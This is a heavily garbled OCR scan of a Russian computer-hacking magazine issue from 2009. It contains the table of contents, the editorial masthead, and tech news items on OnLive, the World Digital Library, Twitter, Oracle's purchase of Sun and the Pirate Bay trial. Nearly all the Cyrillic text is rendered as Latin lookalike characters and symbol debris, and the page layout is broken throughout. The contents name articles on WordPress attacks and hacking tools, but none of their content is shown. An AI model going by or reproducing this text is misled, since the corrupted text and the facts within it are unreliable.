Issuu on Google+

ATAKA HA 6AHKH: 6 LJ.EJlEH

<足

no BCEMY Ml4PY

eTP.50


I

CONTENT

~

~

05(125)

a

r

I

IT ---l

a

-y.

OJ 004 MEGANEWS Bce HOBoe 3a nOCne,Ll,HVliIi MeC~l\

KOAHHr 090

FERRUM 016

~ HE 3A6YAY Hl-1KOrAA CpaBHVlTenbHblili TeCT BVlH4eCTepOB 06beMOM He MeHee 1 T6

nonHblili rVlA no Mo6V1nbHblM nnaTepopMaM ,Ll,n~ nporpaMMVlCTa

096

3A06JlA4HbiE

BbI4l-1CJlEHl-1~

Cloud Computing Ha nanbl\aX

026

100

BC,KPbIBAEM SSL Bl-1PTYAJlbHA~

MAWl-1HA 3A6ECnJlATHO

Pa3pa6aTbiBaeM KnV1eHT VI cepBep

106

040

EASY-HACK XaKepcKV1e ceKpeTbl npOCTblX BeU-\eili

044

V1rpa B np"TKVI Ha ypoBHe ~Apa

• Cl>PHKHHr 110

OJ 83J10M

114

nCeB,Ll,03aU-\VlU-\eHHoCTb 6aHKOB

056

BenVlKV1i1i VI Mory4V1i1i UART

060

.SYN/ACK 120

M06l-1JlbHbl~ 60THET C03,Ll,aeM 3arOH An~ iPhone-30M6V1

BOJlWE6HbiE 3Anl-1C04Kl-1 WORDPRESS l-1Jll-1 BArOH ODAY Y~3Bl-1MOCTE~

124

X-TOOLS nporpaMMbl ,Ll,n~ B3nOMa

• CLtEHA 074

OCTATKl-1 6bIJlO~ POCKOWl-1 Me,Ll,neHHa~

o

CMepTb CV1CTeMbl E-Gold

KlHHKCOHA

078

4EMnl-10H B JlErKOM BECE n pa KTV14eCKoe pyKOBO,Ll,CTBO

no noceneHVlIO GNU/Linux Ha MVlKpOKOHTpOnJle::::

084

HOBbiE rPAHl-1 BSD D,eTanbHb!M 0630P OpenBSD 4.5 VI NetBSD 5.

BO BJlACTl-1 rl-1nEPBl-130PA Citrix XenServer: 0630P HOBOili BepcVlVI nnaTepoplv1bl BVlpTyanVl3al\VlVI

128

APEHAA OT C06CTBEHHl-1KA nOAHVlMaeM cepBVlC no CAa4e B apeHAY

npOAOn>KaeM xaK nonyn~pHeiliwero ABVI>KKa

072

HA CEAbMOM HE6E C WINDOWS SE7EN Windows 7 rna3aMV1 IT-cnel\VlanVlCTa

MeToAV1I<a nonHoro l<onVlpOBaHV1~ cailiTa

066

rJlABHbl~ l-1HCTPYMEHT

<PPl-1KEPA

0630P 3KCnJl0l-1TOB 4YAECA <Pl-1HAHCOBO~ 6E30nACHOCTl-1

OCl\l-1JlJlOrPA<P1 06y3,Ll,aili ero no-eppVlKepcKVI

CBe>KV1e y~3BV1MOCTVI OT CKB03a

050

Bl-1PM3E~KEPCKl-1E

Tl-1nCbll-1 TPl-1KCbl

JlY4Wl-1E l-1HCTPYMEHTbl nEH-TECTEPA CHVlepepbl VI pa60Ta c naKeTaMVI

TEMHOE l-1CKYCCTBO l-1rpOAEJlA, 4ACTb 4: MULTIPLAYER An" MHorononb30BaTenbCKV1X 6aTanV1i1i

6epeM Ha Boopy>KeHV1e nporpaMMY VirtualBox

036

B3nOMa cailiTOB

C nOMOU-\bIO Python

nepexBaT ,Ll,aHHbIX B 3aU-\V1U-\eHHbIX COe,Ll,V1HeHV1~X

032

KOHBE~EPHbl~ XAK no-npOrPAMMMEPCKl-1 ABToMaTVl3al\VI~

• PC_ZONE 022

KYAA nOAATbC~ TEJlE<POHHOMY KOAEPY?

BVlpryanbHblX FreeBSD-cepBepoB

134

l-1rPbl C >KEJlE3HbIMl-1 KOWKAMl-1 HaCTpaVlBaeM 60eBOv, Cisco pOYTep

KlHHTbl 140

FAQ UNITED

143

Al-1CKO

144

WWW2

60nbwoili FAQ

8,5 16

BC~KOili BC~4V1Hbl

Y,Ll,06Hble web-cepBV1cb


x

o.

022 EPROCESS

I

KPROCESS

I

EPROCESS

EPROCESS

ij

ij

106

KPROCESS

ij ~

I I

KPROCESS

ij

ij

LIST _ENTRY {

FLINK BlII'IK)

1--1

032 IPEl1AKUMSI

>PeAaKTOp Unix-pa3Aena

>rnaBHblM peAaKTop

AHTOH «AnI» A(yKOB

HlJlKlna «nikitozz» KIIlCnIllLl,V1H (nikilOz@real.xakep. ru) >BblnycKalOl1IHM peAaKTop HlIlKoftaw«gort»AHApees (gorlum@real.xakep.ru)

>MoHTa>K BMAeo

MaKCI11-\ Tpy6wlJ,b!H

>PeAaKTopbl py6pMK

83JlOM AMVlTP\lli1«Forb» AOKy4aee (Iorb@real.xakep.ru) PC ZONE" UNITS CTe-naH «step}) Vinb!ilH (slep@real.xakep.ru) UNIXOIO, SYN\ACK" PSYCHO AHApe~ «Andrushock» ivlarsees (andrushock@real.xakep.ru)

IPUBLISHING

{gameJlanll >Y"IpeAHTenb

000 «reI1M Jl3HA»

119021, MocKsa, yn. TI1Mypa <DpYH3e.

11. 11, op. 44-45

Ten.,. 71495) 935- 7034

<DaKc'714951780-8824

KOAVlHf

>feHepanbHblM AMpeKTOp

AMl-lTpHtII ArapyHoB

>YnpaBnAIOl1\M" AMpeKTOp

,D,aBYIA WOCTaK

>AHpeKTop no pa3BMTMIO

Ane",caHAP «Dr. Klouniz» n030BCKl1i1 (alexander@real.xakep.ru)

>l1HpeKTop no nepcoHany

<DPVlKVlHf Cepre~ «DLinyj'J,l.1,ol1\<lH

nawa POMaHoBcKVI~

1'v1I'lXa\l\fl CT~naHoB

(dI1nyj@real.xakep.ru)

>(J)MHaHcoBbIM AKpeKTop

Ta"b~Ha ry,ne6CKati

>nMTepaTYPHbIM peAaKTop A,,·-nnpI111 nl=lw,eHKo

>PeAaKI.l.MOHHbIM AMpeKTop

AM\I\Tp.'1C1 Jlaj],bl;t;eHCKv,i7j

(Iyashchenko@gamelancl.ru)

>PR"MeHeA>Kep HaTaJlb51 JlmBI'lHOBCKas:l

IART >ApT-AMpeKTop

EareHIo'IM HOBIIIK08 (novikov.e@gameland.ru) >BepCTanbUlMK Bepa CBeTJlblX (svettyh@gameland.ru)

lOYD >BbInYCKaIOIJ.f,HM peAal<TOp CTenaH «Step» VlJlbV1H (s lep@real.xakep.ru)

>l1MpeKTop no MapKeTMHry

AMHTP'1~ nntOUleB

>rnaoHblM AM3aKHep

3HI1~ TepH6yl1n

>AMpeKTop no npOM3BOACTOY

Cepre~Ji KyyepflBbl(l,

IPEKnAMA I Ten" 14951935-7034, <!laKe, 14951700-0024 >l1MpeKTop rpynnbl GAMES & DIGITAL EBreH~~ rop~\.{eBaigoryacheva0gameland .ruJ >MeHeAmepbl Ollbra Et.tenbs:lHLI,0Ba

Mapl1f1 HeCTepoB8 MapHfI H11Kor.aeHKo MaKolM Co6ones HaAe>KA8 rOH4apoe8

3apen1CTp14pOSaHO B M14HII1CTepCTB€ POC01l1Ct:oi;' <De,n.epatlY1III no AenaM ne4anl, renepaALolosew,aHl-UO lI\ cpegCT6aM MaCCOBblX KOMI.1YH\1Kau,M~i nVl q 77·11802 OT 14

HaTaflbfl MI-1CTIOKOSa

<peBpa". 2002 r.

>AAMMHMCTpaTop

OTne4BTaHO 8 nmOrpa¢\o'1V1 ((Lieluvas Rivas», flt1TBB. 1l-1pa>:< 100000 3K3eMnJl51poB. WeHa AorOBopHil51.

~\ilapI1$1

5ywesa >Pa6oTa CpeKnaMHblMM areHTCTBaMM JlLolALol51 CTpeKHesa [strekneva0gameland.ru) >CTapwMH MeHeA>Kep CBeTnaHa nll1H4YK >CTapwMil Tpa<!lMK-HeHeAlKep Mapb51 AneKceeBa

IOnTOBASI npOl1A>KA >l1MpeKTop oTAena AMCTPM6YllMM

C enaHOB

(andrey@gameland.ru)

>PyKoBoAMTenb MOCKOBCKoro

HanpaBneHMR

Onbra ASBanbA

(devald@gameland.ru)

>PYKoBoAMTenb perMoHanbHoro

HanpaBneHMR

TaTb$1Ha Kowefleea

(kosheleva@gameland.ru )

>PYKoBoAMTenb OTAena nOAnMCKM

Mapll1Ha rOH4apoBa

(goncharova@gameland.ru)

Ten.' (495) 935.70.34

cPaKc: (495) 780.88.24

> rOpR"4aR nMHMR no nOAnMCKe

Ten .. 8 (800) 200.3.999

5ecnnaTHo ,Qn51 380HRLUtlX 1-13 PCCG.·.'

>AnR "I4CeM

AHApe\~

101000, MocKsa,

rfla8n04Ta~,tT, ah.

652, XaKep

MHeHLole peAaKu,Io1Lol He 06513aTeflbHO cosnaAaeT C MHeH~eM aBTOpOB. Pe.adKUI1Sl yaeAoMn5leT: Bce MBTeplo1aJ1b1 B HOMepe npeAocraBJl5llOTC5I KBK ~1H¢opMau,liI51 K pa3MblwneHIo1IO. Jl~1u,a, VlCnOJJb3ytaUJ,1'1 AaHHylO j.1HcV0PMBU,I.,JO B np0ll1803aKOt-ltiblX uellSlX, MOryT 5b1Tb nplo1Bne4eHbi K om8TCTBeIlHOCTI1. PeAaKlJ,Vifl B 3nlX CllY4BflX OTaeTCideHHOCTI-1 He HeceT. PeAaKLJ,LolR He HeceT O'TaeTcTBeHHDcnl 3a CO,lJ,ep>KaHlIle peKJlaMHblX 06MI8JleH~~ 8 3a nepene4aTKY Haw,.,x MaTep~aJlOB 6eJ.-enpoca - npecJle,lJ,yet-1.

HOMepe.

no BonpOCat.1 mll.J,eH3I-1pOBaH~~ npas Ha ~cnonb30BaHv.e

11

nO)1'14eHlr\~

Ma­ Tepl-1a1l0B ;-KypHana o6paw,aiitTecb no a.D.pecy: conlent0gameland.ru

(f:

peAaK4~1Ot-IH!:IIX

000 «re~M Jl:~HA~>, P<D, 2009

npaSMnbHblM aBTopOM CTaTbM «ATaKa WordPressH B MapToBcKOM HOMepe RsnReTCR Magg. PeAaKLI,KA npMHOCMT M3BMHeHMR 3a oWH6KY.


~.

r

~

~ ~-­

0 - - - - - --.- -

I

I

7 'f

r-

r--'1

~

I--

I

VU

-

-

MAPi-l~ «MIF~ILL»

I

I

-

I---'

x

-

-= I U .--I ] --

..........-r---

J

I W

----r--

I]

~ 1

~

I

T

1..-

~

,.-

I r--'1

..........-r---

I W ...........---

~

I--

FiL

....-

~

II

-

I--

= -= 1 W

"I

I

r0-

I--

.---

1J

I

--

-=

~

r::

i"-

-FiL

~L

I

W

I

W-

II

f--

...........---

f--

1

W

050 BCEM 3A nocllEAHH'1 MEC5IU

HE<DEIlOBA / MIFRILL@REAL.XAKEP.RU /

rysis Ha H'eT6yKe y>Ke peanbHOCTb

c

Apa~BepaM~ ~ HacTpoi1KaM~1

To, 4TO COBceM HeAaBHO Ka3anOCb Me4TaM~,

CKOpO CTaHeT peanbHOC­

KOMnaH~I~

TblO.

On Live y>Ke

n04T~

W~POK~i1: An~

SO - 1.5Mbps,

a AJl>l HD 11280pl- 5Mbps. Ho CTO~T cKa3aTb, 4TO B OnLive pa3pa60Tan~ CBOIO TeXHono-

rOTOBa npeACTaBVlTb HaM HOBbli1

r~1O C>KaTVI~ AaHHblx. 3aAep>KKa

~rpoBoi1 cepB~c

COCTaBn>leT nOp>lAKa

Ha3BaH~eM,

HblM Ha

np~HI..\~ne

Ll1~Ka

OAHO~MeH-

nOCTpoeHHbli1

06na4HOV,

AaHHbIX. To eCTb, MOLl1HOCT~

c

06pa60TK~

<paKT~4ecK~e

HaXOA>lTC~

y nOCTaB­

ycnyri-l, a nonb30BaTenIO

~

narOB He

M~nn~ce­

npeAB~A~TC>I.

Bbl60p ~rp, CYA>I no BceMy, 6YAeT He Man y>Ke

cornaWeH~>1

nOAn~canH

c OnLive

Electronic Arts,

Eidos, Atari, WarnerBros ~ ApyrVle B~AHble npeACTaB~Ten~

Bce

npeAoCTaBn~eTc~

npaBI~a, 6blno 6bl 3AOpOBO,

KaK

~HTepHeT-CepB~c.

ecml 6bl caMble nocneAH~e

paTb, nOHaA06~Tc~ n~Wb 6pay3ep

A~TC>l B 3aKpblToi1 6eTe. OTKpblToe

~

~

TecTVlpoBaH~e

Tpe60BaTenbHbie K >Kene3Y

YAaneHHo,

KyHAbl

Lh06bl

no~r­

yCTaHoBneHHbli1 nnarHH On Live.

~rpbl MO>KHO 6blno 6bl 3anycKaTb

An~ >KenalOLl1V1x raMaTb He Ha nK,

rei1MAeBa.

Ha AaHHbli1 MOMeHT npoeKT Haxo­ Ha3Ha4eHO Ha neTO

[no aApecy WWI/o{ onlive.CQffi Aa>Ke

Ha m060M KOMnblOTepe, npaK­

a Ha TB, 6YAeT B03MO>KHOCTb np~­

MO>KHO 3an~CaTbC>l1. Pen~3 YTex~

T~4eCK~ MrHOBeHHO? np~TOM,

06peCT~ HeAoporylO np~cTaBKY

3annaH~poBaH Ha KOHel..\ 2009

6e30 BC~K~X anrpe~AOB, np06neM

CaMO c060i1, KaHan

nOTpe6yeTc~

roAa.

o AAHHblM KOMnAH~H 51H.Q.EKC,

PYCCKO~ 6nOrOC<DEPE Y>KE

nOABMHbCH.. Europea

B~pTyanbHble ABep~

peCHoro npoeKTa -

OyeHb

~HTe­

BceM~pHO~

7.4 MHnn~OHA 6nOrtlB. 6.9 MJlH. f.1~

HOTbl, 3anVlCV1, cPV1nbMbl, CHlI1MKV1,

Te>KVI. 3TO HaCTO~Ll1~i1 npa3AH~K

Digital Libraryl - pacnaxHymKb

Ha ynVll..\e nlO6HTenei1 ~CTOPVlVlI Cal~T

21-ro anpen~. \!1AelO C03AaH~~

pa60TaeT Ha

pecypca eLl1e B 2005 rOAY nOAan

KOTOpblX eCTb ~ PYCCK~i1. Aa-Aa,

ceM~ ~3bIKax, cpeA~

A~peKTOp 5~6n~oTeK~ KOHrpecca

KaK H~ CTpaHHO, Pocc~~ TO>Ke Y4aCT­

CWA A>Kei1Mc 51~nn~HrTOH, a Me>K­

ByeT B 6naroM HaY~HaH~~. Ha '!'!':I::i'tL

AYHapoAHble

:tlill..2£g Hawy CTpaHY npeACTaB­

opraH~3al..\~~

BpoAe

ee

nOAXBaT~n~.

CYTb npocTa ­

n~101 PoccVli1cKa~ Hal..\~oHanbHa~ 6~6nHOTeKa ~ Pocc~i1cKa~

CBeCT~ BoeA~HO KaK MO>KHO 60nbwe

10cYAapCTBeHHa~ 6~6n~OTeKa.

6~6n~oTeK, apx~BoB ~ ~>Ke c HW~H,

Jl1060nbiTHO

c06paB Ha OAHOM

ca~Te npaKT~­

4eCKVI Bce KYnbTypHoe

HacneA~e

M~pa. K «HacneA~IO» OTHeCnVl pYKOn~c~,

~ 004

KapTbl,

peAK~e KH~r~,

PA3nHLfHbiE C006UJ,ECTBA.

<pOTorpa<p~~ ~ apX~TeKTypHble 4ep­

1..\~<pPOBOi1 6H6mlDTeK~ IWorld

IOHECKO, OOH ~ WDJlA c paAocTblO

HlJ1Y -AHEBH~KIII, OCTAnbHOE­

pOBaH~~

~

TO, 4TO B <p~HaHc~­

Y4aCTBYlOT

IT, KaK Google

BblAenVln~ WDL

BTopble -

TaK~e

rViraHTbl

~ Microsoft. nepBble

3 MnH. AonnapoB,

M~nnHOH.

XAKEP

05 /125/ 09

J


"I

II

1..'" :"

.

"'­

.>.-" m,eg.:.ne\'lS.

+ nHweM I

~On'bWe.

We~@bICT

Blu-raYAVlCKVl BCe nflOTHee BXOA51T B HaW 6blT, ill npOVl3BOAVlTeflVl >Kefle3a He OTCTafOT, nOCTaBfl515160flee COBepweHHble yCTpoiicTBa Afl51 Y1X YTeHY111 Y13anVlCY1. TaK, KOMnaHY151 Pioneer npeAcTaBVlfla HOBbl~ np~BoA nOA HOMe­ pOM BOR-2203, CnOAAep)l(Koii Blu-ray, OVO \'1 CO, K KOMnbloTepy HOBVlHKa nOAKflfOyaeTC51 Yepe3 Y1HTep<j>eiic SATA IflaBHoe AOCTOY1HCTBO - npVlBoA YMeeT3anY1CbIBaTb ABYXCJ1O~Hble BO- R Ha CKOpOCTVi 8x, Vi 63Kan 50 16 6YAeT 3aHVlMaTb np~MepHo nOfl'laca, BMeCTe C«pe3aKoM» nOCTaBfl51eTCI1 naKeT nporpaMM CyberLink, OAHaKO L\eHbl Ha «YYAeca TeXHI'IKI'I» no-npe)l(HeMy OCTafOTC51 KycaYVlMI'I. B CWA3a HOBY1HKY npI'IAeTC51 OTAaTb 250 AOflflapOB, a YTO 6YAeT Ha POCCI'I~CKOM pblH Ke - MO>KHO TOflbKO npeAnonaraTb,

B EBPOnE FACEBOOK -

COl.l~AnbHASI

1. ABPOCCHH OHA HAXOA~TCSI nHWb HA 7-M MECTE

CETb I~g

P v

3aMe'laTenbHblXnlOAeH f'I

C orpOMHoii CKOpOCTbfO CepBYlC Afl51 MYlKp06flOrrl'lHra Twitter Hapall\YlBaeT

~ 1t<S~I~..~r"ft1

nonyfl51pHOCTb, CeroAHI1 twitter-aKKayHTbl eCTb y MHorY1X 3HaMeHYlTOCTeii, 6J1or AMI1TPI1>l MeABeAeBa /

''''e

~ 111.. " ...."'. l'

~V~:-;'l' I

to

OT 5PYlTHY1 CnYlpCAO 5apaKa 06aMbl, HO HaCTOI1ll\~ii peKopAYAaJlocb nOCTa­ BYlTb TefleBeAYll\eii Onpe YY1H<j>pY1. Onpa o<j>opMY1na nepBblii noCT 17 anpefll1, Yl y)l(e Yepe3 2 yaca y Hee 6blno 100,000 ¢ofloBepoB [aka APY3eii-YYlTaTefle~1. Ha TeKYll\l'Iii MOMeHT 3Ta L\Yl<j>pa BblpOCfla B n51Tb pa3 - y Onpbl y)l(e 505985 «nocfleAoBaTeneii», MY1cCYlc YYlH<j>pYl TaK nonyfl51pHa Ha 3anaAe, YTO BAeHb ee pervlCTpaL\Yl~ nOCell\aeMOCTb Twitter nOACKOYVifla Ha 24%. ,[(Ofl)l(HO 6blTb, TbIC51YI'I AOMOX0351eK pellJl'lflVl nocneAOBaTb npYlMepy KyMl'lpa, nOCMoTpeTb <j>eHoMeH CBOViMVi rna3aMY1 MO)l(HO Ha www.lwiltercom/Oprah. A B POCC~Y1 npe3YlAeHT CTpaHbl peWY1fl 3aBeCTYl >I<>K He ceKpeT, YTO )lMl-1T­ pYlii AHaTOflbeBwl C2008 rOAa BeAeT BYlAeO-6flor Ha kremlinru, nepeHeCTYl 6flor rnaBbl rOCYAapCTBa Ha He3aBVlCl-1MYfO nfloll\aAKypeWl-1fll'l Y13-3a npo­ 6fleM KpeMfleBCKOro caiiTa ITOT He CnpaBfll1eTC51 CHanflblBOM nOCeTI'ITefleii,

~

Aa \'1 CKOpOCTb 06pa6oTK~ KOMMeHTap~eB OCTaBfll1eT)I(eflaTbflY'lwero) Cep­

!""~1lG

~

00_

.. &.ma- balwunt:t ~ Du

BYlC LiveJournal6blfl Bbl6paH KaK Hal'l60flee nonyfll1pHal1 B pyHeTe nflOll\aAKa Afl516flOrrI'lHra. 6nor 3aperY1CTpYlpOBaH KaK coo6ll\ecTBo ~ pacnOnO)l(eH no aApecy http://communily,livejollmaLcQm/blog medvedev. BeAYT ero, pa3yMeeTCI1, MOAepaTOpbl. Ha >K>K npe3YlAeHTa 3a npoweAwl'le HeCKOflbKO AHeii nOAnl~caflOCb 60flee 5.5TbIC\1Y 'leflOBeK, XOT51 «HaYYlHKa» >KypHafla­

MHnnHapAOB! npOAaHO!

He 60flee yeM KpoccnOCT 1'13 WWW bLog.krem\in.ru.

\1BHO 6YAeT AaneKO Y1AYll\l'Ie, B pyKax Oracle Tenepb, no CYTVi, cocpeAO­ TOyeHbl MOHOnOnVl51 Ha TeXHonor~fO Java l-1 pa3pa60TKVi Sun B 06flaCTI'I

B npOWflOM HOMepe Mbl nVlCafll'l OTOM, YTO KOpnOpaL\~I1IBM, Ka)l(eTCI1,

>Kefle3a 1

He npOTI'IB npVl06peCTY1 Sun Microsystems, CflYX\'1 nOATBepA~fl~cb­

npeAflO)l(eHl'le 0 nOKynKe Sun 3a nOYTI'I 7 MflPA, AOflflapoB AeiiCTBmeflbHo

6blflO oTBeprHyTo nOCJleAHI'IMY1. Ho nOCfle OTKan, Bbl3BaHHoro, CYA51

no BceMy, HeAoCTaTOYHO xopoweii L\eHoii, aKL\I'I~ Sun He npoCTO «nOWflVi

BHI'I3», a 6yKBaflbHO PYXHYfl~ Ha 25%, TaK YTO, HOBoe npeAflO)l(eH~e,

nOCTynVlBwee y>Ke OT KOMnaHVlVl Oracle, npl'IWflOCb BeCbMa KCTan1. OAVlH

1'13 KpynHeiiwVlX MVlPOBblX pa3pa60TYY1KOB B 06flaCTVl CI'ICTeM ynpaBfle­

HY111 6,[( npeAflO>KVlfl Sun 9.5 AOflflapoB 3a a KL\Y1 fO. 3TO Bcex nOflHOCTbfO

YCTPOVlflO. OyeBVlAHO, B Sun nOH51flVi, YTO BpeM51 ToprOBaTbC51 npOWflO.

CAenKy nnaHl'lpyfOT O<j>0PMI'ITb OKOHyaTenbHO y)l(e 3TI'IM fleTOM, a VlTOrOBa51 cyMMa COCTaBVlT 5.6 MVlflflYlapAa AonnapoB Ic yyeTOM AOflra KOMnaHY1Y1­

un

microsystems

7.4 MflPAJ K YeMy npViBeAeT CflVi51HYle, nOKa>KeT BpeM51, HO nOCfleACTBYl51

~ 006

XAKEP 05 /125/ 09


DEPO Neos 630 Ha 6a3e YeTblpeXb5'lAepHOro npoweccopa Intel® Core™2 Quad c TeXHonorVleLil vPro™ ­ npeAcTssVlTenb HOSOro nOKOneHVl5'l KopnopsTVlsHblX nK, o6ecneyVlslOll.lVlX VlCKnlOYVlTenbHYIO npOVl3soAVlTenbHocTb VI pesnbHylO MHor03SASYHOCTb An5'l PS60Tbi 6V13Hec-npVlnO>KeHVlLII VI nOAAep>KVlSSIOll.lVlX VlHTerpVlpossHHble snnspSTHble epyHKWVlVl ynpssneHVl5'lVl 6e30nSCHOCTVI C Vlcnonb30SSHVleM TexHonorVlVllntel® vPro™.

• npoLleccop Intel® Core™ 2 Quad • nOAJllllHHa5'l Windows Vista® Business • 06beM onepmVlBHoVi naM5'lTVI ,qo 4 r6 • 06beM ,qlllCKOBOro npocTpaHcTBa ,qo 1 T6 • IIlHTerplilpoBaHHblVi rpaepw-lecKlilVi a,qamep lIIm1 BHeWH5'l5'l BlII,qeoKapTa • B03MO>KHOCTlil y,qaneHHoro MOHlilToplllHra 1II a,qMlIIHlIIcTplilpOBaHlII5'l • Tplll BaplilaHTa VlcnOnHeHlII5'l MidiTower, MiniTower, Small Form Factor • Bbl60p KOHeplilrypaLlll1l11

VI

pa3Mel..l..leHlIIe 3aKa3a Ha caViTe

3aw.~Ta. YnpaBl\eH~e.

• np01ll3BO,qCTBO no,q 3aKa3 B TeLfeHlIIe Tpex pa6oLfll1x ,qHeVi

Mbl "K CRERAR"l RRR BACl KOMnaH~R

DEPO Computers, Tell. (495) 969-22-22, www.depocomputers.ru

Intel, JlOrOT~n Intel, Intel Core, !ntel vPro, COfe Inside" vPro Inside RBniUOTCR TOBapHblM" 3HaKaMl>l KOpnOpaL\"" Intel B CWA

It,

APyn1x CTpaHax. PeK.naMa


'}',;,j -

L

Ime.1gane;v.i'!SE

*.. ,.~

I---

~_.

-

~..

-

~

....

J\

r

HOBblM CBOAHHblM OXna>KAeHHeM Heycnella KOMnaHV1~ AMD

0AV1H cnOT 101 npV1 3TOM rapaHTV1pyeT

CAellaTb

OTnV1YHYIO np0V13BOAV1TenbHOCTb

a BblnycKe

3a~BlleHV1e

«caMO~ 6bICTPO~ B MV1pe ~rpOBO~

B 3D, B COYeTaHvIV, C3<jJ¢eK­

3D-KapTbl B KaTeropV1V1 AO $260"

TV1BHbIM Tenlloo6MeHoM [Ha 20

IATI Radeon HD 4890), KaK KOp­

rpaAycoB L(enbcV1~ 3<jJ¢eKTV1BHee

nopallV1~ TUL y>Ke npeAcTaBV1lla

B03AYWHbiX cV1cTeM) K TOMy >Ke,

ny6nV1Ke CBO~ npoAyKT Ha 6a3e

6naroAap~ H20. CTallO B03MOJKHO

HOBoro GPU. KapTOYKa, nonYYVlB­

nOBblCV1Tb yaCTOTbl GPU 101 naM~T~,

wa~ Ha3BaHV1e PowerColor LCS

KOTopble paBHbl 900 101 1000 M rll

HD4890, He MO>KeT He nOHpaB~Tb­

[4000 Mrll), COOTBeTCTBeHHO.

C~ re~MepaM

06beM naM~TV1 HOBV1HKV1 COCTaB­

KIlV1He~Ke

- OHa

OTHOC!ATC~

n~eT

PowerColOl' Liquid

Cooling Solution [TO eCTb, V1MeeT

(~t.,. "'-'lJi'" ~i;

,\,,_,(~T'." ~

ilt.jIl11'!1;'

\I~"f

1

1 1-6IGDDR5) Ho 3a Bce

Hy>KHO nnaTV1Tb, n03ToMY lIeHa

CV1CTeMY BOA~Horo OXlla>KAeHV1~).

PowerColor LCS HD4890 paBHa

BV1AeOKapTa3aHV1MaeTTonbKO

yJKe He 260, a $339.

~t

WBEACKHH HAl.lI10HA11bHbl~ MY3E~ HAYK1-11-1 TEXH0110rl1~ BbIKyn1-111 y n011l11.1HH CEPBEPTHEPIRATEBAY.ORG 3A $2431-1 BbICTABl111 Ero BKAlIECTBE OAHoro 1113 <~1It306~ETEHl-1~.1.IflJlbHEE; BeE. 0 n06JIH~SWv1X l""nU·I~ Hb 11 toJlEVI ».

CHna YO&

YOll(iJ!}EDU -

~-

.--..•,._- - - -•• I '­

.'i ";'

$ __ i

_~"l;_."

I

.,

. 'I~,

LX:

,...

~

o l

~~m

EcnV1 HOBOCTb 06 OTKpbITV1V1 BceMV1pHo~ lIV1¢PO­

Vl MHorV1e ApyrV1e. KOnV1yeCTBO ponVlKOB, Bblno­

BO~ 6V16nV1oTeKV1 nopaAyeT ntOAe~, YBneyeHHblX

>KeHHbIX 0AHVlM yye6HbiM 3aBeAeHV1eM, nopo~

v1CTopV1e~.

AocTVoraeT HeCKonbKVlX COTeH. 3pV1TenlO Aa>Ke

TO HOBOBBeAeHV1e Ha BV1AeO-XOCTV1Hre

You Tube npV1AeTc~ no Aywe BceM, KTO T~HeTC~

npeAnaralOTC~

K3HaHV1~M. Tenepb no aApecyvwJW,youlube comledu MO>KHO HaVtTVl BV1AeO-lleKlIVlV1 101 06yYalO­

Ha TeMy, HanpVlMep, nV1HeVtHOv. anre6pbl V1nVl AV1¢­ ¢epeHlIVlanbHblx ypaBHeHVlv. 1VI caMoe rnaBHoe

ll\V1e MaTepV1anbl OT nyyWV1X MV1POBbIX KOlllleAJKev.

- Bce 3TO BenV1KonenV1e cOBepweHHo 6eCnJlaTHO,

101 YHVlBepcV1TeToB. 3Aecb npeACTaBneHbl 101 MIT,

101 nOTpe6yeT, pa3Be YTO, 3HaHV1~ aHrnVlVtCKOro

101 CT3HA¢oPACKIo1Vt YHV1BepcV1TeT, 101 5epKnV1,

~3blKa

Mbl yJKe He pa3 ynoMV1HanV1: He Bce

nOIlI~lIV11O

101, BOJKIo1AaHV1101 CTpa>Ke~

nop~AKa,

rpYAblO BCTallV1 Ha Bbe3Ae

nnaHeTbl 3eMn~ CyaCTfll'IBbl,

YTO Google CHV1MaeT VlXAOMa co cnYT­

BAepeBHIO. YBV1AeBTaKo~ pewlo1Tenb­

HV1Ka, a no yll 101 lIaM ropoAoB KOlleCV1T

Hbl~ OTnOp, BOAV1Tellb rymo-M06V11l~

ryrIl0-M06V1llb. HeKoTopble AaJKe nbl­ npaBo «KopnopallV1V1

3na» ny61lV1KoBaTb CHV1MKV, V1X>K~llb~

He CTall Aonro AyMaTb, a nonpocTy pa3BepHYllc~

101 yexan. VI TonbKO cnyCT~

HeKoTopoe BpeM~ HacelleH~e 5poYTo­

BGoogle Maps Yepe3 CYA, HO 1013 3TOro

Ha nOBeAano npecce, YTO, OKa3b1Ba­

HV1yero He BblWIlO. LJTO >K, COBeTyeM

eTC~, 3a nocneAHV1e 1.5 MeC~lIa y HIo1X

101M 6paTb npV1Mep CJK!ATelle~ ManeHb­

BAepeBHe npoV130wllO TpVl cepbe3Hbix

KO~ aHrnV1VtCKO~ AepeBywKV1 5pOYTOH.

Kpa>Klo1. nepcneKTIo1Ba ny6nlo1KallV1101

5AmenbHbie aHrlll~YaHe, np~MeTV1B

BGoogle Maps ¢OTorpa¢V1~, o6ner­

MawV1HY CKaMepOVt Google Street

yalOll\V1X >K1013Hb V16e3 TOro 06HameB­

View Ha 60pTy, nOAH~IlV1 Ha HorV1 Bcex

WIo1M BopaM, MeCTHblX COBepweHHO

coceAe~,

He 06paAoBana.

~

008

.

YXOAM

>K~Tenvl

Talll~cbocnopV1Tb

rOTOBble nllev.nV1CTbl CKypcaMVl

BOOp}I)KV1IlV1Cb, Bbl3BanV1

XAKEP 05 /125/ 09


I

>"~ _;rn(eg~nt-\\ ..,s, --­ --­ -,

T ,Henb3R OMMnOBaTb K,OllbMe 17-ro anpell>l 6blll BblHeceH np1l1rOBOp no ,nelly : -,·ilH,n.bl TpeKepa The Pirate Bay [0 caMOM npoLjecce Mbl no,np06HO :2ccKa3bIBalll-1]. V1 XOT>l BnepBble B 1I1CTOP1l1111 Ka3a1lOCb, 'ITO 60PLjbl ,3 CB060,ny 1I1H¢OpMaLj1l1111 MOI'YT Bbl1l1rpaTb, yy,na He np01l130W1l0. Bce -::~ 3,nM1I1HOB TpeKepa 111 61113HecMeH Kapil JlyH,nCTpeM, BIlO)l(vlBW1I11,i

,"", x,neHbr1l1111 npe,noCTaB1I1BW1I1~ XOCTVlHr, np1l13HaHbi B1I1HOBHblM1I1 = :0,nel,icTB1I1111 HapyweH1I1tO KOn1l1pal,iTa. Cy,n TaK)I(e nOCTaHOB1I11l, 'ITO 06­ =.'K>leMble ,nel,icTBoBallVi KaK npeCTynHa>l rpynna 111 npeKpacHo 3Ha1l1l1, --) cnoc06CTBytOT pacnpoCTpaHeH1I110 MaTep1l1a1lOB, HapywatOw1l1x ~3TopcK1I1e npaBa. Bce 3TO n03BOll1l11l0 KllaCC1I1¢1I1Lj1l1pOBaTb 111 X B1I1HY,

